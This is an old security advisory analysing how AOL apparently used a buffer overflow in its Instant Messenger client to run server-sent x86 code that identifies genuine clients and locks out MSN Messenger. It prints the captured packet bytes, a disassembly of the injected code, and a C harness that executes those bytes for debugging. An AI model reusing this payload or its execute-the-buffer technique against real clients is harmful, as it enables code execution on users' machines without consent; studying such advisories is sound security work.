COMMAND

    AOL Instant Messenger

SYSTEMS AFFECTED

    AOL

PROBLEM

    Robert Graham found found possible buffer overflow in AOL  Instant
    Messenger.   It  appears  to  me  that  AOL  might  be  running  a
    buffer-overflow exploit against their  own clients.  Before  doing
    anything else log onto AOL  Instant Messaging and take a  trace of
    it with NetMon/tcpdump/Sniffer/etc.  If this is really  happening,
    then AOL will likely fix it soon.

    Last friday NYTimes  brought following story.   This story  brings
    up  the  implication  that  America  Online  might  be  running  a
    "buffer-overflow exploit" on in its own users.  They have  already
    made 13  changes to  their server  code in  the past  few weeks in
    order to stop Microsoft's clones from working, so this may be  yet
    another attempt.   According to  what we  see, it  appears to that
    this implication is  correct.  Robert  saw something that  looks a
    lot like a  buffer overflow exploit  when sniffing the  connection
    between the  client and  AOL's servers.   You can  reproduce  this
    yourself:

    1. log  onto AOL  Instant Messenger  with the  latest client  that
       comes  with  Communicator  version  WIN32  2.0.912,  aka  2.0N.
       (Click on [File/Help/Report a bug] to get the real version).
    2. take a packet trace of the login procedures (NetMon).
    3. look for the frame that Robert describes below.
    4. copy/paste the  frame data into  the C program  as demonstrated
       below.
    5. step through the code in the debugger and disassemble it

    AOL has  removed their  documentation from  the Internet recently.
    Robert had  to download  the GAIM  (AIM client  for Linux)  source
    code to figure things out.  A TCP connection is used.  The  format
    for each request/response in the login process is:

        byte[0] = 0x2a
        byte[1] = 0x02 (type = 2 =login)
        byte[2-3] = sequence number
        byte[4-5] = length
        byte[6-7] = type
        byte[8-9] = subtype

    However, multiple requests/responses can  be queued into a  single
    packet.  Following is the entire TCP packet received from the  AOL
    server to my client:

    00000000  00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
    00000010  01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
    00000020  01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
    00000030  6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
    00000040  00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
    00000050  00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
    00000060  10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
    00000070  00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
    00000080  00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
    00000090  00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
    000000A0  00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
    000000B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    000000F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000100  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000110  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000120  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000130  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
    00000140  00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
    00000150  08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
    00000160  00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@...
    00000170  EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
    00000180  00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
    00000190  3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D       ://www.aol.com

    There are three AIM segments  in this packet, which Robert  marked
    with slashes in the above  decode. (Remember that TCP is  a stream
    based protocol, so application protocols have to figure out  their
    own boundaries, and  you often see  multiple segments in  a single
    TCP packet). The second segment is of interest here, as marked  by
    the slashes.  It  seems like the first  byte of the embedded  code
    starts at the byte with the  value 0x83 at offset 0x53.   However,
    this  isn't  the  buffer  overflow,  but  the  start of the buffer
    itself.   Immediately  proceeding  this  is  what  appears to be a
    length field.   Perhaps they only  allow for a  max length of  256
    (0x100), but the length field has  an extra 0x18 bytes.  So  if we
    go 256 bytes into  the buffer, we get  some more stuff that  looks
    like code.

    Robert hasn't analyzed all this stuff, but it appears that at  the
    end of the  overflow section, it  jumps back to  the start of  the
    buffer that contains the  code of the exploit.   [You only get  so
    much  wriggle  room  where  you  overflow,  because  the  more you
    overflow, the more of the  stack you overwrite; so the  overflowed
    section has  to be  as small  as possible,  and jump  backwards to
    actually run something].

    In following  section (decode),  Robert has  done a  decode of all
    the bytes in the segment.  To the left are the original bytes,  to
    the  right   is  either   the  protocol   interpretation  or   the
    disassembled output.  These bytes are in the same order as in  the
    original packet.

    2A 02                          parse of logon sequence
    31 F9                          sequence number
    01 28                          length of this segment
    00 01 00 13                    type/subtype field of this packet
    00 00 80 A2 F1 D6 00 FF 00 0B  unknown data
    01 18                          length of data field

    83 C4 10             add         esp,10h
    4F                   dec         edi
    8D 94 24 E4 FE FF FF lea         edx,dword ptr [esp-11Ch]
    8B EC                mov         ebp,esp
    03 AA F8 00 00 00    add         ebp,dword ptr [edx+0F8h]
    90                   nop
    90                   nop
    90                   nop
    90                   nop
    8B 82 F0 00 00 00    mov         eax,dword ptr [edx+0F0h]
    8B 00                mov         eax,dword ptr [eax]
    89 82 4E 00 00 00    mov         dword ptr [edx+4Eh],eax
    8B 4D 04             mov         ecx,dword ptr [ebp+4]
    03 8A F4 00 00 00    add         ecx,dword ptr [edx+0F4h]
    8D 82 42 00 00 00    lea         eax,dword ptr [edx+42h]
    89 45 10             mov         dword ptr [ebp+10h],eax
    B8 10 00 00 00       mov         eax,10h
    89 45 0C             mov         dword ptr [ebp+0Ch],eax
    C9                   leave
    FF E1                jmp         ecx

    00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
    08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
    00 00 08 01 00 00 00 00 00 00
    90 47 40 00	                                    jump address?
    F8                                              unknown

    E9 EA FE FF FF       jmp         back_to_start_of_buffer

    00 00

    You'll notice  that there  appears to  be other  code that  Robert
    hasn't disassembled.  How to disassemble this?  The easiest way is
    simply to paste the  data bytes into a  program and RUN the  code.
    In theory, you could create  a sample program that would  actually
    run this code  completely without crashing  but that would  take A
    LOT of effort.

    The code to test it:

    /* The data from the packet, starting at where I believe the data field
     * begins.*/
    unsigned char packet[] = {0x83, 0xC4,
    0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
    0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
    0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
    0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
    0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
    0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
    0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
    0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
    0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
    0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
    0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
    0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
    0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
    0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
    0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
    0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
    0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};

    /* Function point that will point to the buffer above */
    void (*foo)();

    int main()
    {
	    /* Set to the point where it overflows (256-characters in),
	     * then add an offset to the jmp instruction that jumps back
	     * to the begining */
	    foo = packet+256+0x11;

	    /* In MS DevStudio, put a break point here, and then turn on
	     * disassembly mode [View/Debug Windows/Disassembly]. This will
	     * allow you to single step each assembly intruction, and will
	     * disassemble them for you. Also, turn on view of the original
	     * bytes by righ-hand-mouse-clicking on the disassembly and
	     * selecting [Code Bytes].
	     */
	    foo();

	    return 0;
    }

SOLUTION

    Apparently AOL is using this  buffer overflow error  to  determine
    if someone is running the AOL client software versus the Microsoft
    MSN  Messenger  client  software.   MSN  Messenger  users are then
    refused service on the  AOL system.  The  buffer error is used  as
    follows.  During the AIM logon sequence, the AOL servers now  send
    down a packet to a client machine with about 40 bytes of x86  code
    in it.  This code gets  executed by the client because the  packet
    also  exercises  the  buffer  overflow  bug.   The downloaded code
    causes  the  client  to  send  back  a  secret response to the AOL
    servers.   If  the  servers  don't  see  this  response, they then
    bounce the user under the  assumption the client software must  be
    MSN Messenger.  It only took Microsoft a few days to see what  was
    going on and they have  updated the MSN Messenger client  software
    to recognize the  special packet and  response in the  same manner
    as the  AOL client.   However, MSN  isn't using  a buffer overflow
    error to make this happen.   Presumably with this buffer  overflow
    error,  AOL  can  download  new  x86  code  in  the  future  which
    generates different responses from the  client.  If this way,  the
    can constantly stay a few days ahead of Microsoft in this game  of
    "spy-vs-spy".  Geoff  Chappell has a  done a detailed  analysis of
    the AIM IM code and has  located the actual bug.  His  write-up on
    the bug can be found at these two URLs:

        http://www.ozemail.com.au/~geoffch/security/aim/
        http://www.ozemail.com.au/~geoffch/security/aim/preliminary.htm

    He also provides details on how the special AOL packet is executed
    by this buffer overflow  error.  On the  AOL side of things,  they
    continue  to  publicly  deny  anything  is  amiss  here.  In press
    articles they either  claim there is  no buffer overflow  error in
    the  client  software  or  that  they  are  not  doing anything to
    compromise the security of their AIM customers.